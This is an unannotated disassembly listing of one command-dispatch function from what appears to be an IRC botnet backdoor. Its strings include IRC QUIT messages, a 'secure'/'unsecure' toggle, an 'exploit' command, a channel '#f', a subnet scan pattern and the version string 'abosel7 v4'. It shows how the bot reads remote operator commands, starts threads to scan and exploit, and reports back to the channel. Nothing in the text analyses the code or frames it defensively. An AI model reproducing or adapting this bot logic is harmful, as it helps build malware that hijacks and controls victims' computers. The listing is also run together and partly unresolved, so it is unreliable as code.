[ebp+var_36B8], eax jz short loc_403C21 lea eax, [ebp+var_37D0] push esi push eax call sub_41C266 pop ecx pop ecx jmp short loc_403C4C ; --------------------------------------------------------------------------- loc_403C21: ; CODE XREF: sub_401ACD+2141j lea eax, [ebp+var_49F4] push 104h push eax nop call near ptr 2680ABAh push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C3B1 add esp, 14h loc_403C4C: ; CODE XREF: sub_401ACD+2152j lea eax, [ebp+var_37D0] push eax call sub_41B9C0 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C77 lea eax, [ebp+var_37D0] push eax call sub_41B9C0 pop ecx mov [ebp+eax+var_37D1], bl loc_403C77: ; CODE XREF: sub_401ACD+2194j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3BA add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAD6 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403D2B loc_403D19: ; CODE XREF: sub_401ACD+225Cj cmp [ebp+var_36B0], ebx jnz short loc_403D46 push 32h call near ptr 2680EBDh nop jmp short loc_403D19 ; --------------------------------------------------------------------------- loc_403D2B: ; CODE XREF: sub_401ACD+224Aj nop call near ptr 26908B8h push eax push offset unk_42C150 loc_403D37: ; CODE XREF: sub_401ACD+23BFj ; sub_401ACD+4BDCj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_403D46: ; CODE XREF: sub_401ACD+2252j ; sub_401ACD+23A3j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push edi jmp loc_4071A3 ; --------------------------------------------------------------------------- loc_403D56: ; CODE XREF: sub_401ACD+1AB1j ; sub_401ACD+1AC6j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D75 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403D75 push edi call sub_41C159 pop ecx jmp short loc_403D7A ; --------------------------------------------------------------------------- loc_403D75: ; CODE XREF: sub_401ACD+2292j ; sub_401ACD+229Dj mov eax, dword_429080 loc_403D7A: ; CODE XREF: sub_401ACD+22A6j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D91 lea eax, [ebp+var_C4] loc_403D91: ; CODE XREF: sub_401ACD+22BCj push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C360 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403DB3 mov esi, offset byte_43DB88 loc_403DB3: ; CODE XREF: sub_401ACD+22DFj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_19E8] push [ebp+var_88] push 80h push eax call sub_41C360 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C114 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3BA add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset word_41144E push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403E80 loc_403E6A: ; CODE XREF: sub_401ACD+23B1j cmp [ebp+var_1810], ebx jnz loc_403D46 push 32h nop call near ptr 2680EBDh jmp short loc_403E6A ; --------------------------------------------------------------------------- loc_403E80: ; CODE XREF: sub_401ACD+239Bj nop call near ptr 26908B8h push eax push offset unk_42C0D8 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_403E91: ; CODE XREF: sub_401ACD+1A87j ; sub_401ACD+1A9Cj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EA4 push esi call sub_41C159 jmp short loc_403EAB ; --------------------------------------------------------------------------- loc_403EA4: ; CODE XREF: sub_401ACD+23CDj push 0Bh call sub_40B621 loc_403EAB: ; CODE XREF: sub_401ACD+23D5j cmp eax, ebx pop ecx jz loc_409644 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD1A jmp loc_404376 ; --------------------------------------------------------------------------- loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj ; sub_401ACD+1A72j mov eax, dword_4CB8F0 cmp eax, ebx jz short loc_403EE8 call eax test eax, eax jz short loc_403EE1 push offset unk_42C0B4 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE1: ; CODE XREF: sub_401ACD+240Bj push offset unk_42C088 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403EE8: ; CODE XREF: sub_401ACD+2405j push offset unk_42C05C loc_403EED: ; CODE XREF: sub_401ACD+2412j ; sub_401ACD+2419j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_406BFB ; --------------------------------------------------------------------------- loc_403F03: ; CODE XREF: sub_401ACD+1A33j ; sub_401ACD+1A48j call sub_40A928 test eax, eax jz short loc_403F13 push offset unk_42C038 jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F13: ; CODE XREF: sub_401ACD+243Dj push offset unk_42C00C jmp short loc_403EED ; --------------------------------------------------------------------------- loc_403F1A: ; CODE XREF: sub_401ACD+1A09j ; sub_401ACD+1A1Ej cmp [ebp+var_8], ebx jnz short loc_403F39 push ebx push [ebp+var_4] push offset dword_42BFF4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403F39: ; CODE XREF: sub_401ACD+2450j push ebx push [ebp+var_4] call sub_418723 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BFD8 jmp loc_40423F ; --------------------------------------------------------------------------- loc_403F5B: ; CODE XREF: sub_401ACD+18A0j ; sub_401ACD+18B5j push 0Ah call sub_40B602 test eax, eax pop ecx jle short loc_403F6E push offset unk_42BFAC jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401ACD+2498j push [ebp+var_88] push [ebp+arg_4] call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F8A push offset unk_42BF84 jmp short loc_403F8F ; --------------------------------------------------------------------------- loc_403F8A: ; CODE XREF: sub_401ACD+24B4j push offset unk_42BF64 loc_403F8F: ; CODE XREF: sub_401ACD+249Fj ; sub_401ACD+24BBj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_401ACD+5781j cmp [ebp+var_8], ebx jnz short loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j call sub_409869 add esp, 14h loc_403FBE: ; CODE XREF: sub_401ACD+24D3j ; sub_401ACD+26B0j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_4097D1 ; --------------------------------------------------------------------------- loc_403FCF: ; CODE XREF: sub_401ACD+1876j ; sub_401ACD+188Bj push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5C5 jmp loc_404260 ; --------------------------------------------------------------------------- loc_403FE8: ; CODE XREF: sub_401ACD+184Cj ; sub_401ACD+1861j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416FCF jmp loc_404260 ; --------------------------------------------------------------------------- loc_404005: ; CODE XREF: sub_401ACD+1822j ; sub_401ACD+1837j or edi, 0FFFFFFFFh nop call near ptr 26A0891h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_40402E push esi call sub_41C159 pop ecx mov edi, eax loc_40402E: ; CODE XREF: sub_401ACD+2556j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404047 cmp edi, 0FFFFFFFFh jnz loc_409644 loc_404047: ; CODE XREF: sub_401ACD+256Fj push ebx call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF4C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_404085: ; CODE XREF: sub_401ACD+51BCj add esp, 24h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40408D: ; CODE XREF: sub_401ACD+17F8j ; sub_401ACD+180Dj push 27h call sub_40B602 test eax, eax pop ecx jle short loc_4040BE cmp [ebp+var_8], ebx jnz loc_401F75 push ebx push [ebp+var_4] push offset unk_42BF2C loc_4040AB: ; CODE XREF: sub_401ACD+4F88j push [ebp+var_88] push [ebp+arg_4] call sub_409869 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040BE: ; CODE XREF: sub_401ACD+25CAj push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_40411F push esi push offset aFull ; "full" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40411F mov [ebp+var_B40], 1 loc_40411F: ; CODE XREF: sub_401ACD+2635j ; sub_401ACD+2646j lea eax, [ebp+var_2C4] push offset dword_42BF08 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3BA add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419E38 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40418D loc_404177: ; CODE XREF: sub_401ACD+26BEj cmp [ebp+var_B34], ebx jnz loc_403FBE push 32h call near ptr 2680EBDh nop jmp short loc_404177 ; --------------------------------------------------------------------------- loc_40418D: ; CODE XREF: sub_401ACD+26A8j call near ptr 26908B8h nop push eax lea eax, [ebp+var_2C4] push offset unk_42BECC push eax call sub_41C266 add esp, 0Ch jmp loc_403FBE ; --------------------------------------------------------------------------- loc_4041AD: ; CODE XREF: sub_401ACD+17CEj ; sub_401ACD+17E3j cmp [ebp+var_8], ebx jnz short loc_4041CC push ebx push [ebp+var_4] push offset unk_42BEB4 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4041CC: ; CODE XREF: sub_401ACD+26E3j push [ebp+arg_4] call dword_4CBA6C call dword_4CB92C call sub_4188A6 push ebx call near ptr 77E75CB5h nop loc_4041E7: ; CODE XREF: sub_401ACD+17A4j ; sub_401ACD+17B9j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF8F pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE9C jmp short loc_40423F ; --------------------------------------------------------------------------- loc_404212: ; CODE XREF: sub_401ACD+177Aj ; sub_401ACD+178Fj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push offset unk_42BE84 loc_40423F: ; CODE XREF: sub_401ACD+2489j ; sub_401ACD+2743j call sub_415D38 add esp, 18h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40424C: ; CODE XREF: sub_401ACD+1750j ; sub_401ACD+1765j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415DD8 loc_404260: ; CODE XREF: sub_401ACD+3C8j ; sub_401ACD+2516j ... add esp, 10h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_404268: ; CODE XREF: sub_401ACD+1726j ; sub_401ACD+173Bj cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_4042A7 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042A7 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4042A7 push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C360 add esp, 10h loc_4042A7: ; CODE XREF: sub_401ACD+27A4j ; sub_401ACD+27AFj ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push offset dword_42BE6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3BA add esp, 14h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E4B push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40434A loc_404334: ; CODE XREF: sub_401ACD+287Bj cmp [ebp+var_150C], ebx jnz loc_401F75 push 32h nop call near ptr 2680EBDh jmp short loc_404334 ; --------------------------------------------------------------------------- loc_40434A: ; CODE XREF: sub_401ACD+2865j nop call near ptr 26908B8h push eax push offset unk_42BE34 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_40435B: ; CODE XREF: sub_401ACD+16FCj ; sub_401ACD+1711j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415CC0 push offset unk_42BE1C call sub_415D38 loc_404376: ; CODE XREF: sub_401ACD+23F9j add esp, 10h jmp loc_409644 ; --------------------------------------------------------------------------- loc_40437E: ; CODE XREF: sub_401ACD+16D2j ; sub_401ACD+16E7j push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043D8 push offset dword_42BE18 push esi call sub_41CA50 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043DE ; --------------------------------------------------------------------------- loc_4043D8: ; CODE XREF: sub_401ACD+28EFj mov [ebp+var_BD8], ebx loc_4043DE: ; CODE XREF: sub_401ACD+2909j lea eax, [ebp+var_2C4] push offset dword_42BDF8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3BA add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset byte_40B425 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40444C loc_404436: ; CODE XREF: sub_401ACD+297Dj cmp [ebp+var_BCC], ebx jnz loc_406C1F push 32h nop call near ptr 2680EBDh jmp short loc_404436 ; --------------------------------------------------------------------------- loc_40444C: ; CODE XREF: sub_401ACD+2967j nop call near ptr 26908B8h push eax push offset unk_42BDBC jmp loc_409091 ; --------------------------------------------------------------------------- loc_40445D: ; CODE XREF: sub_401ACD+1656j ; sub_401ACD+166Bj push offset aSbrsfgf ; "sbrsfgf" push offset unk_42BDA4 loc_404467: ; CODE XREF: sub_401ACD+29D9j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_406C1F ; --------------------------------------------------------------------------- loc_404494: ; CODE XREF: sub_401ACD+162Cj ; sub_401ACD+1641j push dword_4CB714 call sub_41ADD8 pop ecx push eax push offset unk_42BD78 jmp short loc_404467 ; --------------------------------------------------------------------------- loc_4044A8: ; CODE XREF: sub_401ACD+1602j ; sub_401ACD+1617j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044DA cmp [ebp+var_C], ebx jz short loc_4044E9 push esi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_4044E9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch jmp short loc_4044E9 ; --------------------------------------------------------------------------- loc_4044DA: ; CODE XREF: sub_401ACD+29E4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409823 pop ecx pop ecx loc_4044E9: ; CODE XREF: sub_401ACD+29E9j ; sub_401ACD+29F8j ... push 0FFFFFFFEh jmp loc_401F77 ; --------------------------------------------------------------------------- loc_4044F0: ; CODE XREF: sub_401ACD+15D8j ; sub_401ACD+15EDj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BD28 call sub_415D38 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F78 ; --------------------------------------------------------------------------- loc_404512: ; CODE XREF: sub_401ACD+15AEj ; sub_401ACD+15C3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 push offset unk_42BCF8 call sub_415D38 add esp, 0Ch jmp loc_4095AD ; --------------------------------------------------------------------------- loc_404531: ; CODE XREF: sub_401ACD+1584j ; sub_401ACD+1599j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA9E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404547: ; CODE XREF: sub_401ACD+155Aj ; sub_401ACD+156Fj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA49 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_40455D: ; CODE XREF: sub_401ACD+1530j ; sub_401ACD+1545j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9DD jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404573: ; CODE XREF: sub_401ACD+1506j ; sub_401ACD+151Bj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B90E jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401ACD+1461j ; sub_401ACD+1476j push [ebp+esi+var_8C] push 27h push offset dword_42BCE8 push offset dword_42BCD8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045A1: ; CODE XREF: sub_401ACD+1437j ; sub_401ACD+144Cj push [ebp+esi+var_8C] push 24h push offset dword_42BCCC push offset dword_42BCBC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4045B9: ; CODE XREF: sub_401ACD+1050j ; sub_401ACD+1065j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045D8 push edi call sub_41C159 test eax, eax pop ecx jz short loc_4045D8 push edi call sub_41C159 pop ecx jmp short loc_4045DD ; --------------------------------------------------------------------------- loc_4045D8: ; CODE XREF: sub_401ACD+2AF5j ; sub_401ACD+2B00j mov eax, dword_429074 loc_4045DD: ; CODE XREF: sub_401ACD+2B09j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404602 push esi loc_4045EF: ; CODE XREF: sub_401ACD+2B44j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C360 add esp, 0Ch jmp short loc_404619 ; --------------------------------------------------------------------------- loc_404602: ; CODE XREF: sub_401ACD+2B1Fj cmp [ebp+var_8FF], bl jz short loc_404613 lea eax, [ebp+var_C4] push eax jmp short loc_4045EF ; --------------------------------------------------------------------------- loc_404613: ; CODE XREF: sub_401ACD+2B3Bj mov [ebp+var_5A0], bl loc_404619: ; CODE XREF: sub_401ACD+2B33j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C360 add esp, 0Ch push [ebp+var_590] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC94 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset word_411BCE push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4046CA loc_4046B4: ; CODE XREF: sub_401ACD+2BFBj cmp [ebp+var_57C], ebx jnz loc_401F75 push 32h nop call near ptr 2680EBDh jmp short loc_4046B4 ; --------------------------------------------------------------------------- loc_4046CA: ; CODE XREF: sub_401ACD+2BE5j call near ptr 26908B8h nop push eax push offset dword_42BC58 jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4046DB: ; CODE XREF: sub_401ACD+FFDj ; sub_401ACD+1012j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4046FB push esi call sub_41C159 test ax, ax pop ecx jz short loc_4046FB push esi call sub_41C159 pop ecx jmp short loc_404701 ; --------------------------------------------------------------------------- loc_4046FB: ; CODE XREF: sub_401ACD+2C17j ; sub_401ACD+2C23j mov ax, word_429084 loc_404701: ; CODE XREF: sub_401ACD+2C2Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C360 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC2C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409869 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3BA add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EF1C push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4047D0 loc_4047BA: ; CODE XREF: sub_401ACD+2D01j cmp [ebp+var_968], ebx jnz loc_401F75 push 32h nop call near ptr 2680EBDh jmp short loc_4047BA ; --------------------------------------------------------------------------- loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj nop call near ptr 26908B8h push eax push offset unk_42BBEC jmp loc_4097CB ; --------------------------------------------------------------------------- loc_4047E1: ; CODE XREF: sub_401ACD+FA9j ; sub_401ACD+FBEj ... push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404809 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_404813 loc_404809: ; CODE XREF: sub_401ACD+2D23j mov [ebp+var_AA8], 1 loc_404813: ; CODE XREF: sub_401ACD+2D3Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40485A mov eax, offset aUnsecuring ; "Unsecuring" loc_40485A: ; CODE XREF: sub_401ACD+2D86j push eax push offset dword_42BBB8 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A366 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4048CE loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj cmp [ebp+var_A9C], ebx jnz loc_4082DE push 32h call near ptr 2680EBDh nop jmp short loc_4048B8 ; --------------------------------------------------------------------------- loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j call near ptr 26908B8h nop push eax push offset dword_42BB7C jmp loc_4082CF ; --------------------------------------------------------------------------- loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj ; sub_401ACD+F94j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41ABFB loc_4048F0: ; CODE XREF: sub_401ACD+2A75j ; sub_401ACD+2A8Bj ... add esp, 0Ch jmp loc_409644 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401ACD+F55j ; sub_401ACD+F6Aj push offset unk_42BB2C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401ACD+F2Bj ; sub_401ACD+F40j push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42BB1C jmp loc_406BEF ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+F01j ; sub_401ACD+F16j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404971 push esi call sub_41C159 cmp eax, ebx pop ecx jl short loc_404966 cmp eax, 3 jge short loc_404966 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40495B lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD50 push eax call sub_41C266 add esp, 0Ch mov [esi], bl jmp loc_4081AD ; --------------------------------------------------------------------------- loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj push eax push offset unk_42BAF0 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404966: ; CODE XREF: sub_401ACD+2E58j ; sub_401ACD+2E5Dj push eax push offset unk_42BAC4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_404971: ; CODE XREF: sub_401ACD+2E4Dj mov edi, [ebp+arg_18] xor esi, esi loc_404976: ; CODE XREF: sub_401ACD+2EC5j push [ebp+var_90] push edi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_404999 inc esi add edi, 80h cmp esi, 3 jl short loc_404976 jmp loc_4081AD ; --------------------------------------------------------------------------- loc_404999: ; CODE XREF: sub_401ACD+2EB9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD50 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4049B3: ; CODE XREF: sub_401ACD+ED7j ; sub_401ACD+EECj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403446 call sub_40B583 push ebx nop call near ptr 77E75CB5h loc_4049D9: ; CODE XREF: sub_401ACD+19B1j push offset aGet ; "get" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_404A67 cmp dword_4CF180, ebx jz short loc_404A01 push offset dword_4CEB60 loc_4049F7: ; CODE XREF: sub_401ACD+2F98j push offset unk_42BA88 jmp loc_404A97 ; --------------------------------------------------------------------------- loc_404A01: ; CODE XREF: sub_401ACD+2F23j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_E24] push eax jmp short loc_4049F7 ; --------------------------------------------------------------------------- loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh push edi jnz short loc_404A7B push offset unk_42BA48 jmp short loc_404A97 ; --------------------------------------------------------------------------- loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j push offset dword_4CEB60 call sub_41C890 pop ecx mov dword_4CF180, 1 pop ecx push edi push offset unk_42BA1C loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj ; sub_401ACD+2FACj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_40349D ; --------------------------------------------------------------------------- loc_404AAB: ; CODE XREF: sub_401ACD+199Cj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404BB1 mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C360 add esp, 0Ch lea eax, [ebp+var_14F8] push offset aF ; "#f" 